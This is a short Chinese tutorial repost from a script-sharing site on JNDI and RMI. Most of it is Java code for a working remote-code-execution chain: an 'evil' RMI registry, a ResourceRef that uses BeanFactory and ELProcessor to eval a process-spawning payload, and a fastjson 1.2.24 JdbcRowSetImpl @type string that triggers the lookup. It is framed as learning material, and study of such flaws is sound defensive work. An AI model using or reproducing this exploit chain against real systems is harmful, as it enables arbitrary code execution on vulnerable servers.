jndi和rmi学习

发布时间:2022-06-27 发布网站:脚本宝典
脚本宝典收集整理的这篇文章主要介绍了jndi和rmi学习脚本宝典觉得挺不错的,现在分享给大家,也给大家做个参考。

 1.程序1启动rmi管理服务

System.out.PRintln("Creating evil RMI registry on port 9527");LocateRegistry.createRegistry(1111);System.out.println("======启动Rmi成功!======");Thread.currentThread().join();2.程序2注册rmi服务
ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true,"org.apache.naming.factory.BeanFactory",null);ref.add(new StringRefAddr("forceString", "x=eval"));ref.add(new StringRefAddr("x", """.getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("JavaScript").eval("new java.lang.ProcessBuilder['(java.lang.String[])'](['calc']).start()")"));ReferenceWrapPEr referenceWrapper = new ReferenceWrapper(ref);Naming.bind("rmi://127.0.0.1:1111/service1", referenceWrapper);System.out.println("RMI服务启动成功,服务地址:" + "rmi://127.0.0.1:1111/service1");3.程序3中fastjson序列号中会用到rmi服务,执行注册到rmi服务中的服务,
<fastjson.version>1.2.24</fastjson.version>
String json="{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://127.0.0.1:1111/service1","autoCommIT":true}";JSON.parseObject(json);4.因为fastjson的parseObject方法中会使用到jndi查找方法,类似this.registry.lookup("rmi://127.0.0.1:1111/service1");,这句就会触发具体远程方法的执行,导致漏洞被利用

脚本宝典总结

以上是脚本宝典为你收集整理的jndi和rmi学习全部内容,希望文章能够帮你解决jndi和rmi学习所遇到的问题。

如果觉得脚本宝典网站内容还不错,欢迎将脚本宝典推荐好友。

本图文内容来源于网友网络收集整理提供,作为学习参考使用,版权属于原作者。
如您有任何意见或建议可联系处理。小编QQ:384754419,请注明来意。